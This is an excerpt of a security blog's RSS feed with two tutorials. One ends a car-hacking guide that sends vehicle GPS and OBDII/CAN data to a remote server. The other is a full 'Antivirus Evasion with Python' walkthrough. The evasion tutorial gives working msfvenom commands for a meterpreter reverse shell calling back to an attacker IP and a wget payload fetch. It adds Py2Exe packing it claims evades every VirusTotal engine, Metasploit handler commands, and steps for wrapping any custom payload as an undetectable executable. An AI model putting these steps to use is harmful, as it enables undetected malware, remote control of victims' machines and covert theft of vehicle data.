Network</h3><p>I used Hologram data plan with the Nova HOL-NOVA-R410 cellular modem, but any other carrier or cellular modem compatible with BeagleBone would work fine. As long as you are able to connect to the internet using cellular data, everything should be good.</p><p>One nice thing about the Hologram is that they provide a Python SDK. After activating the SIM card with a data plan, and installing the SDK, you can use this Python script. It allows you to programmatically connect to the internet via cellular and ping Google to check the connectivity.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/955cc257683e9beb6babfa9289203562/href">https://medium.com/media/955cc257683e9beb6babfa9289203562/href</a></iframe><p>Please, refer to the <a href="https://www.hackster.io/sacchet/chupacarbrah-car-hacking-with-beaglebone-and-python-18f137">ChupaCarBrah tutorial</a> on Hackster.io for full details on how to install your Hologram modem and its SDK.</p><h3>Exfiltrating the Data</h3><p>First you will need a server to send the data to. Use the Python <a href="https://github.com/blupants/chupacarbrah_server/blob/master/chupacarbrah_server.py">chupacarbrah_server.py</a> code available on <a href="https://github.com/blupants/chupacarbrah_server">Github</a> and deploy it as a service on AWS.</p><p>Here is the TL;DR commands to do it:</p><blockquote>~$ git clone <a href="https://github.com/blupants/chupacarbrah_server.git">https://github.com/blupants/chupacarbrah_server.git</a><br>~$ cd chupacarbrah_server<br>~$ cp chupacarbrah_server.py application.py<br>~$ source virt/bin/activate<br>(virt) ~$ pip install flask==1.0.2<br>(virt) ~$ pip freeze &gt; requirements.txt<br>(virt) ~$ deactivate<br>~$ python3 -m pip install awscli<br>~$ python3 -m pip install awsebcli<br>~$ eb init -p python-3.6 flask-chupacarbrah — region us-east-2<br>~$ $ eb init</blockquote><blockquote>Do you want to set up SSH for your instances? (y/n): ySelect a keypair. 1) my-keypair 2) [ Create new KeyPair ]</blockquote><blockquote>~$ eb create chupacarbrah-env<br>~$ eb open</blockquote><p>If you need further detailed instructions, again, please refer to the <a href="https://www.hackster.io/sacchet/chupacarbrah-car-hacking-with-beaglebone-and-python-18f137">ChupaCarBrah tutorial</a> on Hackster.io.</p><p>Once the service is running, take notes of the URL so you can point your script on the BeagleBone to send the data there. You can confirm your service is up and running by posting some dummy data with curl:</p><blockquote>SERVER_URL=<strong>&lt;PUT_YOUR_AWS_SERVICE_URL_HERE&gt;</strong></blockquote><blockquote>curl — header “Content-Type: application/json” \<br> — request POST \<br> — data ‘{“car_uuid”:”51f317ec266e4adb956212201f87ba52&quot;, “VIN”: “2C4”, “maker”: “Generic”, “log”:{“timestamp”:”20200501120000&quot;,”GPS”:”00&quot;}}’ \<br>“$SERVER_URL/api/v1/cars”</blockquote><blockquote>curl “$SERVER_URL/api/v1/status”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6KVrKRB0IGaiJiMp7Nq4g.png" /><figcaption>Posting and getting dummy data from ChupaCarBrah service on AWS</figcaption></figure><p>Once you confirm the AWS service is working, ssh to the BeagleBone and clone the chupacarbrah client repo from <a href="https://github.com/blupants/chupacarbrah">Github</a>. Make sure to edit the <a href="https://github.com/blupants/chupacarbrah/blob/master/chupacarbrah.py#L17">chupacarbrah.py</a> script and set the <strong>server_url</strong> variable with your AWS service URL from the previous step.</p><blockquote>git clone <a href="https://github.com/blupants/chupacarbrah.git">https://github.com/blupants/chupacarbrah.git</a><br>cd chupacarbrah<br>sudo python3 chupacarbrah.py</blockquote><p>Once running, ChupaCarBrah client will consume all CAN commands enabled on the <a href="https://github.com/blupants/chupacarbrah/blob/master/simple.csv">simple.csv</a> and send them to the CAN bus. The responses will be displayed on stdout and sent to /tmp/chupacarbrah/log file. Every 1 minute, it is also sent to the AWS service as JSON.</p><p>To stop it, open a new terminal (ssh session) and run:</p><blockquote>sudo touch /tmp/stop</blockquote><p>In order to enable/disable more <a href="https://en.wikipedia.org/wiki/OBD-II_PIDs">OBDII PID commands</a>, you may edit file <a href="https://github.com/blupants/chupacarbrah/blob/master/obd2_std_PIDs_enabled.csv">obd2_std_PIDs_enabled.csv</a> by setting 1 on the “Enable” column to all commands you want to enable, and zero for those you want to disable. Please make sure you understand what the commands do, and know what you are doing before enabling extra commands. Both simple.csv and obd2_std_PIDs_enabled.csv files are available on the chupacarbrah github repo you have just cloned to your BeagleBone.</p><p>Open a web browser and monitor the JSON data being updated every minute with all the exfiltrate information from the vehicle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*B7nDjMIRIcFY8dlkbOVuNw.png" /><figcaption>Sample JSON dummy data from ChupaCarBrah service on AWS</figcaption></figure><p>You may need to refresh the page on your browser to get the displayed data updated. Since it uses JSON format, it makes very convenient for creating a frontend to consume it and/or integrate it with other applications.</p><p><strong>What is next?</strong></p><p>This concludes the first part of of this series with 3 articles. Stay tuned for the next part where I cover getting into ECU CAN messages and add more features to the ChupaCarBrah. The ultimate goal is to create a complete backdoor in the vehicle with support to remote code execution.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69bc6b101fd1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/spark1-us/car-hacking-with-python-part-1-data-exfiltration-gps-and-obdii-can-bus-69bc6b101fd1">Car Hacking with Python — Part 1 Data Exfiltration: GPS and OBDII/CAN Bus</a> was originally published in <a href="https://medium.com/spark1-us">Spark 1 Cybersecurity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Antivirus Evasion with Python]]></title>
            <link>https://medium.com/spark1-us/antivirus-evasion-with-python-49185295caf1?source=rss-2dd23d91a5f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/49185295caf1</guid>
            <category><![CDATA[windows-10]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[antivirus]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Marcelo Sacchetin]]></dc:creator>
            <pubDate>Tue, 11 Jun 2019 23:37:16 GMT</pubDate>
            <atom:updated>2023-06-11T21:39:17.509Z</atom:updated>
            <content:encoded><![CDATA[<p>This malware research was developed at <a href="https://spark1.us/">Spark 1 Cybersecurity Solutions</a>.</p><h3>Summary</h3><p>When deploying defense in depth security controls for your organization, you are likely to include anti-viruses as part of the solution. That is definitely a good practice as long as we keep in mind that anti-viruses are just adding an extra layer of protection and we should never solely depend on it for protecting end-users devices.</p><p>A good security program should always include defense in depth controls such as software update governance, firewalls, training/security awareness, physical security, identity management, password policy, etc. However, it is not uncommon for a security engineer to get challenged about the need for those extra layers, and you may need to demonstrate how anti-viruses can be easily bypassed to prove your point.</p><p>In this article we will present a very straight forward tutorial on how to evade anti-viruses on fully patched and updated Windows environments using a Python payload.</p><p>Keep in mind that attempting antivirus bypass is a cat and mouse game. Whenever a new evasion technique gets popular, antivirus vendors will eventually learn about it and update their signatures database to block it. Then, new evasion techniques will arise, which will make vendors to add it to their signature database, and so on and so forth.</p><p>By the time of this writing, the method described here was successfully used to bypass all the vendor engines available on <a href="http://www.virustotal.com/">Virus Total</a>, and get the malicious artifact successfully executed on a fully updated Windows 10 machine with Windows Defender enabled.</p><h3>Python Payload</h3><p>Signature-based anti-viruses work by comparing the artifact binaries against a signature database. Our goal is to “disguise” our payload in a way they do not match any known signatures on any antivirus vendor database. A behavior-based antivirus will try to match known suspicious activities to the actions taken by a given artifact. Our malware will work as a mere client trying to start a TCP connection on port 443. It makes harder for behavior-based anti-viruses to flag actions like this without issuing a lot of false positives for legit applications such as web browsers.</p><p>For this example we are going to use a Python payload generated by <a href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">MSFVenom</a> to open a reverse TCP shell (meterpreter session) on port 443 to the attacker machine running Metasploit. An artifact like that is obviously malicious and should always be flagged by any antivirus agent.</p><p>The approach described here is flexible enough so you can extend it by replacing our sample msfvenom payload with your own customized Python payload.</p><h3>Environment Setup</h3><p>We recommend using 3 virtual machines for this tutorial:</p><p><a href="https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/">Kali Linux</a> for creating the payload and running Metasploit;</p><p><a href="https://github.com/rapid7/metasploitable3">Windows Metasploitable 3</a> for packing the payload into an artifact;</p><p><a href="https://developer.microsoft.com/en-us/windows/downloads/virtual-machines">Windows 10</a> fully patched for running the final artifact;</p><p>The reason we used 2 distinct Windows virtual machines is because we need a fully updated/patched box to make sure our artifact will have a very high chance to work on any given Windows environment. On the other hand, before packing the payload with Py2Exe, a fully patched machine will always flag the raw Python payload, giving you a hard time working with it. Hence, the need for the Metasploitable 3 virtual machine for handling the raw payload before it is packed.</p><h3>Creating a FUD meterpreter payload with Python</h3><p>For creating the the artifact we recommend using the <a href="https://github.com/rapid7/metasploitable3">Windows Metasploitable 3</a> as your main Windows environment.</p><p>Install Python 2.7.16 x86 for Windows: <a href="https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi">https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi</a></p><p><strong>*Note:</strong> Python 2.7 x86 is required. Install the 32 bits version even if your Windows is a x64 box. Also, make sure to select the option “Add python.exe to Path” during the installation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H4chNesX9KjBdmbQ" /></figure><p>Install Py2exe 32 bits for Python 2.7: <a href="https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download">https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download</a></p><p>Optionally, install <a href="https://slproweb.com/products/Win32OpenSSL.html">Open SSL</a> for Windows.</p><p>Switch to the Kali Linux machine and create the Python payload.</p><p><strong>*Note:</strong> Our Kali Linux is using IP address 10.0.2.10. Make sure you replace it by your current IP for the all the remaining steps in this tutorial.</p><blockquote>msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py</blockquote><blockquote>service apache2 start</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OEC0SvLPmIGLvhW5" /></figure><p>Copy the payload “mrtp.py” back to your Windows machine. Using powershell, run:</p><blockquote>wget <a href="http://10.0.2.10/mrtp.py">http://10.0.2.10/mrtp.py</a> -O mrtp.py</blockquote><p>Also, create a setup.py file with the following content:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/68c14f8e85730b41b2a2f6348110d9da/href">https://medium.com/media/68c14f8e85730b41b2a2f6348110d9da/href</a></iframe><p>Bundle the standalone Python executable with Py2Exe:</p><blockquote>python.exe .\setup.py py2exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CNFitn8J5IoFvp_I" /></figure><p>Test the artifact “mrtp.exe” created under the dist folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L7M3d-_R2mfa7qL-" /></figure><p>Run it:</p><blockquote>.\dist\mrtp.exe</blockquote><p>Switch back to you Kali Linux and run Metasploit:</p><p>We assume the following configuration: Kali VM IP: 10.0.2.10</p><blockquote>msfconsole</blockquote><blockquote>use exploit/multi/handler</blockquote><blockquote>set PAYLOAD python/meterpreter/reverse_tcp</blockquote><blockquote>set LHOST 10.0.2.10</blockquote><blockquote>set LPORT 443</blockquote><blockquote>run</blockquote><p><strong>*Note:</strong> Depending o how long you take to set the Metasploit handler, you may need to run mrtp.exe on the Windows box again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LoBZX8LJR5XUuLag" /></figure><p>Now that we have confirmed our artifact works, let’s check it against all the Antivirus engines available on VirusTotal. Visit <a href="http://www.virtutotal.com/">www.virtutotal.com</a> and provide your “mrtp.exe” file for scanning.</p><p>If everything goes well, you should get a clean report similar to <a href="https://www.virustotal.com/gui/file/ae5d74fac07fe36914778bf322d4656d838b872086764ab84985200acf25d774/detection?gclid=EAIaIQobChMIlc3wvfTd4gIVh8JkCh15bgqzEAAYASAAEgKV-_D_BwE">the following</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DCt_Ivf9uUrNJUL2" /></figure><p>Now it is time to run it on the <a href="https://developer.microsoft.com/en-us/windows/downloads/virtual-machines">Windows 10</a> machine. Copy the “mrtp.exe” file directly to the Windows 10 box. In a real life exploitation you would need to leverage some attack vector to deploy it and execute it on your target, however, that is out of the scope of this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFDI7O2mSi9gMuUfHnV21A.png" /></figure><p>Make sure your Metasploit handler is listening on port 443, and run the artifact “mrtp.exe” on the Windows 10 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfw7TPgaMU5PM3jaLFBh0A.png" /></figure><p>As shown on the screenshot, the artifact executed completely undetected and a meterpreter session was successfully established.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzRkrx3ikc0g&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzRkrx3ikc0g&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a894ba500a7aea6f82a0aed86bbaff1e/href">https://medium.com/media/a894ba500a7aea6f82a0aed86bbaff1e/href</a></iframe><h3>Customizing your own Python payload</h3><p>You can leverage this technique and use your own customized Python payload. All you need to do is to repeat the steps from the previous session, editing the “mrtp.py” file after generating it with msfvenom. You will have to replace the original encoded base64 string with your own Python code.</p><p>Just as an example, let’s create a new “custom_payload.py” Python script that just prints two messages and use it as our new payload.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2b638b18b7b2aab337dd79f038a9eae2/href">https://medium.com/media/2b638b18b7b2aab337dd79f038a9eae2/href</a></iframe><p>After creating it, we will need to encode it with base64 encoding:</p><blockquote>cat custom_payload.py | base64</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IdVhxC5G5aDj33uw" /></figure><p>For the sample script we used, it will give us the following base64 encoded string: “cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”</p><p>Now, we edit the existing “mrtp.py” script we used on the previous session, and replace the original base64 string that begins with “aW1wb3J0IHNvY2t” with our new one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nQAaHri51fHpEE-k" /></figure><p>After customization, the final result should be similar to this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/eb23077cb9cfe1880d806b2364898481/href">https://medium.com/media/eb23077cb9cfe1880d806b2364898481/href</a></iframe><p>Copy the new “mrtp.py” back to your Windows machine and repeat the bundling steps:</p><blockquote>wget <a href="http://10.0.2.10/mrtp.py">http://10.0.2.10/mrtp.py</a> -O mrtp.py</blockquote><blockquote>python.exe .\setup.py py2exe</blockquote><blockquote>.\dist\mrtp.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qeoUHvZ33aZ6pPJ9" /></figure><p>After executing the new “mrtp.exe” bundled Python artifact we get “Customized payload” “It works” strings printed on the terminal.</p><p>At this point, you should be able to create any Python FUD artifact you want just by editing the “custom_payload.py” file and bundling it with Py2Exe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49185295caf1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/spark1-us/antivirus-evasion-with-python-49185295caf1">Antivirus Evasion with Python</a> was originally published in <a href="https://medium.com/spark1-us">Spark 1 Cybersecurity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>